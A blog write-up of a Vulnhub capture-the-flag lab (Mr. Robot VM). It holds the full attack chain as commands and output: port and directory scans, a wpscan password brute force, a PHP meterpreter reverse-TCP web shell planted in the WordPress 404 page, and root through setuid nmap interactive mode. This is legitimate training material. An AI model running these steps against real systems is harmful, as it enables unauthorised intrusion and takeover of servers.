Vulnhub: Mr. Robot Boot2Root VM


Today I’ll be documenting my method for compromising the Mr. Robot VM created by @Sho_Luv and hosted by Vulnhub.

This is a mini CTF with 3 “flags” to capture, Vulnhub touts this as being “beginner / intermediate”. Let’s get to it!


NMap reports that the following TCP ports are listening on the box –

root@kali:~# nmap -sV -T5 -p-

Starting Nmap 7.60 ( ) at 2018-03-10 19:05 GMT
Nmap scan report for
Host is up (0.0010s latency).
Not shown: 65532 filtered ports
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd
MAC Address: 08:00:27:75:8B:B7 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 86.52 seconds

Not much to work with.. Two webservers and SSH is closed!  Let’s kick off Dirb / Nikto on both services.


Port 80

root@kali:~# dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Sat Mar 10 21:26:13 2018
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                                                                                                                                                        
==> DIRECTORY:                                                                                                                                                                    
+ (CODE:301|SIZE:0)                                                                                                                                                                 
==> DIRECTORY:                                                                                                                                                                    
==> DIRECTORY:                                                                                                                                                                     
==> DIRECTORY:                                                                                                                                                                      
+ (CODE:302|SIZE:0)                                                                                                                                                            
+ (CODE:200|SIZE:0)                                                                                                                                                          
==> DIRECTORY:                                                                                                                                                                     
==> DIRECTORY:                                                                                                                                                                    
==> DIRECTORY:                                                                                                                                                                    
==> DIRECTORY:                                                                                                                                                                   
+ (CODE:200|SIZE:1188)                                                                                                                                                        
+ (CODE:301|SIZE:0)                                                                                                                                                            
+ (CODE:200|SIZE:516314)                                                                                                                                                           
==> DIRECTORY:                                                                                                                                                                       
+ (CODE:200|SIZE:309)                                                                                                                                                            
+ (CODE:302|SIZE:0)                                                                                                                                                                
+ (CODE:301|SIZE:0)                                                                                                                                                                
+ (CODE:403|SIZE:94)                                                                                                                                                          
+ (CODE:301|SIZE:0)                                                                                                                                                                  
+ (CODE:200|SIZE:64)                                                                                                                                                              
+ (CODE:200|SIZE:41)                                                                                                                                                              
+ (CODE:200|SIZE:41)                                                                                                                                                          
+ (CODE:301|SIZE:0)                                                                                                                                                                  
+ (CODE:301|SIZE:0)                                                                                                                                                                 
+ (CODE:200|SIZE:0)                                                                                                                                                              
+ (CODE:200|SIZE:0)                                                                                                                                                          
==> DIRECTORY:                                                                                                                                                                    
==> DIRECTORY:                                                                                                                                                                 
+ (CODE:200|SIZE:0)                                                                                                                                                            
==> DIRECTORY:                                                                                                                                                               
+ (CODE:200|SIZE:0)                                                                                                                                                              
==> DIRECTORY:                                                                                                                                                              
+ (CODE:200|SIZE:227)                                                                                                                                                      
+ (CODE:200|SIZE:0)                                                                                                                                                              
+ (CODE:200|SIZE:2620)                                                                                                                                                          
+ (CODE:500|SIZE:3064)                                                                                                                                                           
+ (CODE:500|SIZE:0)                                                                                                                                                          
+ (CODE:302|SIZE:0)                                                                                                                                                            
+ (CODE:405|SIZE:42)                                                                                                                                                              
+ (CODE:405|SIZE:42)

LOADS of interesting stuff here.. Super interesting finds being the admin panel and the fact that this is a wordpress blog, which will guide our search for vulnerabilities.

Port 443

Identical results on port 443 as port 80 – we can assume that it’s the same site for now, although we’ll investigate further if we get blocked.


Port 80

root@kali:~# nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2018-03-10 21:26:23 (GMT0)
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad 
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A WordPress installation was found.
+ /wp-admin/wp-login.php: WordPress login found
+ /blog/wp-login.php: WordPress login found
+ /wp-login.php: WordPress login found
+ 7535 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2018-03-10 21:34:24 (GMT0) (481 seconds)
+ 1 host(s) tested

Similar findings to dirb, /readme is worth investigating though!

Port 443

As above, identical results on port 443 as port 80. We’ll work from port 443 for now and investigate port 80 in isolation later if we need to.

Manual Probing

Flag #1

So we initially go and investigate robots.txt and find two entries –

User-agent: *

Both are interesting, but navigating to “key-1-of-3.txt” gives us our first flag!


The other file (fsocity.dic) appears to be some kind of dictionary file with 800,000 entries! We’ll save that for later.

Navigating to /

Nothing particularly interesting happens if you navigate directly to “/”, other than a faux-Mr.Robot-themed-shell full of Mr. Robot related shenanigans. Ditto navigating to the admin panel (which was completely borked on my attacker VM, so I’ll leave that on the backburner for later.

Navigating to /wordpress

Not much here, just an empty WordPress blog..

Navigating to /image

Navigating to this URL yielded this image on the blog –

Nothing immediately useful here, but it may come in handy later. Let’s move on to prodding the WordPress installation with wpscan.


So this WordPress installation is absolutely hosed. It’s full of security holes and the output of WPScan was so big that it won’t fit nicely on this blog, so I’ll just highlight the key takeaways below!

Unauthenticated database export..

This is bad news. Worse news still is that by Googling this vuln I found that there’s a metasploit module for it 🙂

msf > search all-in-one
[!] Module database cache not built yet, using slow search

Matching Modules

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   auxiliary/gather/wp_all_in_one_migration_export  2015-03-19       normal  WordPress All-in-One Migration Export

msf > use auxiliary/gather/wp_all_in_one_migration_export
msf auxiliary(gather/wp_all_in_one_migration_export) > show options

Module options (auxiliary/gather/wp_all_in_one_migration_export):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   MAXTIME    300              yes       The maximum number of seconds to wait for the export to complete
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host

msf auxiliary(gather/wp_all_in_one_migration_export) > set RHOST
msf auxiliary(gather/wp_all_in_one_migration_export) > run

[*] Requesting website export...
[+] Backup archive saved to /root/.msf4/loot/
[*] Auxiliary module execution completed
msf auxiliary(gather/wp_all_in_one_migration_export) > 

Man.. Metasploit makes this too easy. So now we’ve got an export of the WordPress data base in a nice neat zip file. Let’s go find out what’s inside!

.. Absolutely nothing! Attempting to unzip the file moans because the file isn’t a valid ZIP file, and catting the file confirms our fears, it just confirms that number 0. Bah!

All of the other identified vulnerabilities don’t yield any paths to compromise either 🙁

Login bruteforce

Poking the wp-login.php page with a few of the usual usernames (admin, root, user, etc.) all yield an “invalid user” error message, which lead me to trying the TV show Mr. Robot’s protagonist’s name on the form –

On a whim we try using that dictionary file identified in robots.txt earlier (fsocity.dic) and 6 hours later (no joke) we get a valid login –

root@kali:~# wpscan --url --wordlist /root/fsocity.dic --username Elliot --threads 100
[+] Starting the password brute forcer

  | Id | Login  | Name | Password  |
  |    | elliot |      | ER28-0652 |

[+] Finished: Sun Mar 11 04:22:13 2018
[+] Requests Done: 858206
[+] Memory used: 16.094 MB
[+] Elapsed time: 05:54:18

That password (ER28-0652) is at the very end of the file. Bah!

Let’s go and see what we can find with our new login.

WordPress Login

Woot! this confirms that we’re the site administrator – which is good as it means that we’ll likely be able to upload a webshell and get the next flag. There’s also another user, which is interesting.. Her bio says “Another Key” but there’s no key there.. So we’ll bear that in mind later.


We’ll do the age-old trick of replacing the 404 page with a web shell (specifically a meterpreter reverse TCP shell.)

All that’s left to do is start msfconsole running a handler for that exploit and navigate to “$blogURL/ASDFG” or something.

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 
[*] Sending stage (37543 bytes) to
[*] Meterpreter session 1 opened ( -> at 2018-03-11 21:42:14 +0000

meterpreter > #woot

So we’ve got a limited shell on the box now, let’s hunt out another flag and see about getting root.

Privilege Escalation

So there’s a few things that we can do now. Running “ps aux | grep -i mysql” shows that there’s a MySQL database running, so we can use the wp-config.php file to get credentials for that and see what’s inside if we wish, starting smaller though let’s poke around the home directory –

ls /home
ls /home/robot
cat /home/robot/key-2-of-3.txt
cat: /home/robot/key-2-of-3.txt: Permission denied
cat /home/robot/password.raw-md5

OK so we’ve got a password hash (presumably) for the robot user, let’s chuck it in JtR and Crackstation to see what sticks –

Crackstation saves the day! Password of “abcdefghijklmnopqrstuvwxyz”… Let’s try and SSH in as robot with that password and see what happens. Oh wait. SSH is closed. Eurgh! Let’s upgrade our terminal to a TTY and su instead.

python -c 'import pty; pty.spawn("/bin/bash")'  
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su - robot
su - robot
Password: abcdefghijklmnopqrstuvwxyz
$ python -c 'import pty; pty.spawn("/bin/bash")'  
python -c 'import pty; pty.spawn("/bin/bash")'  
robot@linux:~$ whoami
robot@linux:~$ cat key-2-of-3.txt	
cat key-2-of-3.txt 

Nice! got the second key 🙂 Now let’s get root.

Running “unix-privesc-check” yields nothing of interest, so we use some commands from G0tmi1k’s privesc guide and find the following –

robot@linux:/tmp$ find / -perm -u=s -type f 2>/dev/null        


Notice that weird reference to “nmap” in there? Why would nmap need the setuid bit set?! A quick Google confirms that we can use this to get a shell 🙂

robot@linux:/tmp$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( )
Welcome to Interactive Mode -- press h <enter> for help
nmap> help

Nmap Interactive Commands:
n <nmap args> -- executes an nmap scan using the arguments given and
waits for nmap to finish.  Results are printed to the
screen (of course you can still use file output commands).
! <command>   -- runs shell command given in the foreground

So we can just run “! /bin/bash” and get a root shell.. wow.


nmap> ! /bin/bash -p
! /bin/bash -p
bash-4.3# whoami
bash-4.3# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)
bash-4.3# cd /root
cd /root
bash-4.3# ls
firstboot_done	key-3-of-3.txt
bash-4.3# cat key-3-of-3.txt
cat key-3-of-3.txt

And we’re done.


This was a great box! Took me a long time as I got bogged down with the /admin infinite redirect bug, and some strange false positives from dirb. Definitely an intermediate VM I’d say as there are lots of rabbitholes to go down, but very fun.

If I had one tiny bit of feedback it’d be that it’s evil to provide a wordlist with nearly a million entries and have the valid password right at the end 😉

Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.